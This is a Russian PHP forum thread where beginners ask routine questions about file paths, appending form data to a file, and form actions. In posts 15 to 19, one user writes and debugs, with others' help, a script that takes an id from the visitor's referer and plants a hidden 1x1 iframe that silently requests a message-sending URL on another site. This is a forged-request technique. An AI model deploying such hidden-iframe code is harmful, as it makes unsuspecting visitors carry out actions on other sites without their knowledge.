[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. REBUUS

    REBUUS Active Member

    Joined:
    6 Apr 2009
    Messages:
    314
    Likes Received:
    111
    Reputations:
    9
    В PHP как то можно делать привязку к железу ?
     
  2. TDKronuS

    TDKronuS Member

    Joined:
    9 Nov 2009
    Messages:
    64
    Likes Received:
    13
    Reputations:
    3
    Нет.
     
  3. LStr1ke

    LStr1ke Elder - Старейшина

    Joined:
    29 Jul 2009
    Messages:
    801
    Likes Received:
    145
    Reputations:
    73
    Если для заливки на хост или использовать на HTTP сервере, то нет. Если типа php2exe, то можно подумать
     
  4. -=Zhenek=-

    -=Zhenek=- Elder - Старейшина

    Joined:
    31 Dec 2007
    Messages:
    271
    Likes Received:
    77
    Reputations:
    1
    Для сервера сделай привязку к домену и код проверки в zend. Правда это не 100% защита и даже не 50%
     
  5. Keltos

    Keltos Banned

    Joined:
    8 Jul 2009
    Messages:
    1,558
    Likes Received:
    920
    Reputations:
    520
    PHP:
    Warning: require(system/functions.php) [function.require]: failed to open streamNo such file or directory in /home/tora/k/e/l/keltosik/public_html/index.php on line 22

    Fatal error
    : require() [function.require]: Failed opening required 'system/functions.php' (include_path='.:/usr/local/share/pear'in /home/tora/k/e/l/keltosik/public_html/index.php on line 22
    Что это значит? и как решить эту проблему.
     
  6. GlooK

    GlooK Elder - Старейшина

    Joined:
    20 Apr 2007
    Messages:
    172
    Likes Received:
    53
    Reputations:
    10
    Тут, как я понимаю, на 22 строчке нужно вместо system/functions.php написать ./system/functions.php

    UPD:
    Файл то вообще существует?
     
    #13746 GlooK, 1 Feb 2010
    Last edited: 1 Feb 2010
  7. Nizhegorodets

    Nizhegorodets Member

    Joined:
    21 Mar 2009
    Messages:
    80
    Likes Received:
    66
    Reputations:
    9
    Есть простейший код добавления данных из формы в текстовый файл:

    как сделать так, чтобы при нажатии на кнопку не полностью переписывался текстовый файл, а к уже существующим данным, добавлялись данные вводимые в поля формы?
     
  8. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    это ты не отвечаешь а спрашиваешь? Лень назад мотать просто)))

    пишет нет такого файла по такому пути.

    попробуй с "/" в начале пути ) Или указать полностью абсолютный путь, или с помощью ".." или "." относительно запущенного скрипта
     
  9. LStr1ke

    LStr1ke Elder - Старейшина

    Joined:
    29 Jul 2009
    Messages:
    801
    Likes Received:
    145
    Reputations:
    73
    2Nizhegorodets
    PHP:
    file_put_contents("polsov.txt"$_POST["name"] .":"$_POST["password"] . "\n",FILE_APPEND);
     
    1 person likes this.
  10. Compton

    Compton Member

    Joined:
    31 Jan 2010
    Messages:
    290
    Likes Received:
    25
    Reputations:
    0
    PHP:
    <html>
    <form method="POST">
    <input name="name">
    <br>
    <input type="password" name="password">
    <br>
    <br>
    <input type="submit" name="register">
    </form>
    </html>
    <?
    $name=$_POST['name'];
    $pass=$_POST['password'];
    $fp=fopen("file.txt", "a");
    $text="$name:$pass";
    fputs($fp, $text."\r\n");
    fclose($fp);
    ?>
    с новой строчки каждое
     
    #13750 Compton, 1 Feb 2010
    Last edited: 1 Feb 2010
  11. Keltos

    Keltos Banned

    Joined:
    8 Jul 2009
    Messages:
    1,558
    Likes Received:
    920
    Reputations:
    520
    Там только index.php :D
     
  12. FewG

    FewG Member

    Joined:
    25 Dec 2009
    Messages:
    136
    Likes Received:
    12
    Reputations:
    0
    В принципе это ХТМЛ, но тем не менее такой вопрос, можно ли как нибудь сделать 2-е action "коммады" в форме (form) один к примеру action="post.php"> и action="mailto:">или action="удаленный_рессурс/post.php">.
     
  13. DiHWO

    DiHWO Member

    Joined:
    23 Oct 2009
    Messages:
    93
    Likes Received:
    10
    Reputations:
    0
    нет. для этого надо в скрипте, на который стоит action, тобишь в скрипте gol.php если action="gol.php" написать две функции. Тоесть хочешь обрабатывать текст и отсылать его на email, тогда пиши один action и пиши скрипт.php с функцией обработки и отправки на email...
     
  14. j0ker13

    j0ker13 Elder - Старейшина

    Joined:
    28 Jul 2008
    Messages:
    199
    Likes Received:
    16
    Reputations:
    5
    kak to tak)
     
  15. Uex Urgent

    Uex Urgent Злостный Смайлик

    Joined:
    6 Feb 2009
    Messages:
    236
    Likes Received:
    463
    Reputations:
    452
    у меня такая проблемка, при переходе с сайта N, нужно считывать обратный адрес, с помощью регулярки вычленить слово после id= и вставив его с исправленной ссылкой во фрейм, записать готовый фрейм в файл 1212.php и перейдя на него выполнить готовую ссылку во фрейме.

    Фрейм записывает в 1212.php, только ссылку в фрейм не подставляет. Где тут ошибка???



    PHP:
    <?PHP 
    $ref 
    getenv("HTTP_REFERER"); 
    $filelog fopen("1212.php","a+");
    fwrite($filelog,'<iframe width=1 height=1 style="position: absolute; visibility: hidden;" src=".$move"></iframe>');
    fclose($filelog); 
    $move=preg_replace('/\D+/''http://site.ru/msg?send&id='$ref);
    $move.="&adding=";
    header("Location: http://site.ru/1212.php");      
    ?>

     
     
    _________________________
    #13755 Uex Urgent, 3 Feb 2010
    Last edited: 3 Feb 2010
  16. GlooK

    GlooK Elder - Старейшина

    Joined:
    20 Apr 2007
    Messages:
    172
    Likes Received:
    53
    Reputations:
    10
    PHP:
    <?PHP 
    $ref 
    getenv("HTTP_REFERER"); 
    $filelog fopen("1212.php","a+");
    fwrite($filelog,'<iframe width=1 height=1 style="position: absolute; visibility: hidden;" src="'.$move.'"></iframe>');
    fclose($filelog); 
    $move=preg_replace('/\D+/''http://site.ru/msg?send&id='$ref);
    $move.="&adding=";
    header("Location: http://site.ru/1212.php");      
    ?>

     
     
  17. Uex Urgent

    Uex Urgent Злостный Смайлик

    Joined:
    6 Feb 2009
    Messages:
    236
    Likes Received:
    463
    Reputations:
    452

    теперь фрейм записывается вообще с пустым сорсом :mad:

    PHP:
    <iframe width=1 height=1 style="position: absolute; visibility: hidden;" src=""></iframe>
     
    _________________________
  18. Fepsis

    Fepsis Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    791
    Likes Received:
    391
    Reputations:
    72
    Так ничего удивительного ты записываешь в файл
    PHP:
    <iframe width=1 height=1 style="position: absolute; visibility: hidden;" src="'.$move.'"></iframe>
    а потом только с переменной $move производишь какие-то непонятные манипуляции...

    так попробуй:

    PHP:
    <?PHP  
    $ref 
    getenv("HTTP_REFERER");
    preg_match("/(?<=send&id=)(.*?)$/"$ref$id);
    $filelog fopen("1212.php","a+"); 
    fwrite($filelog,'<iframe width=1 height=1 style="position: absolute; visibility: hidden;" src="'.$id[0].'"></iframe>'); 
    fclose($filelog);
    header("Location: 1212.php");
    ?>
    Тогда в 1212.php запишется
    PHP:
    <iframe width=1 height=1 style="position: absolute; visibility: hidden;" src="тут ИД который спарсили"></iframe>
     
    #13758 Fepsis, 3 Feb 2010
    Last edited: 3 Feb 2010
  19. Uex Urgent

    Uex Urgent Злостный Смайлик

    Joined:
    6 Feb 2009
    Messages:
    236
    Likes Received:
    463
    Reputations:
    452
    вопрос исчерпан, заработал в таком виде, спасибо :)

    PHP:
    <?PHP  
    error_reporting 
    (0);
    $filename '1212.php;
    unlink($filename);
    $ref = getenv("HTTP_REFERER");  
    $move=preg_replace('
    /\D+/', 'http://site.ru/msg?send&id=', $ref); 
    $move.="&adding="
    $filelog fopen("1212.php","a+"); 
    fwrite($filelog,'<iframe width=1 height=1 style="position: absolute; visibility: hidden;" src=".$move"></iframe>'); 
    fclose($filelog);  
    header("Location: http://site.ru/1212.php");       
    ?>
     
    _________________________
    #13759 Uex Urgent, 3 Feb 2010
    Last edited: 3 Feb 2010
  20. draliokero

    draliokero Member

    Joined:
    14 Mar 2009
    Messages:
    83
    Likes Received:
    6
    Reputations:
    0
    Как проверить URL relative или absolute? Нужна функция…
     
Thread Status:
Not open for further replies.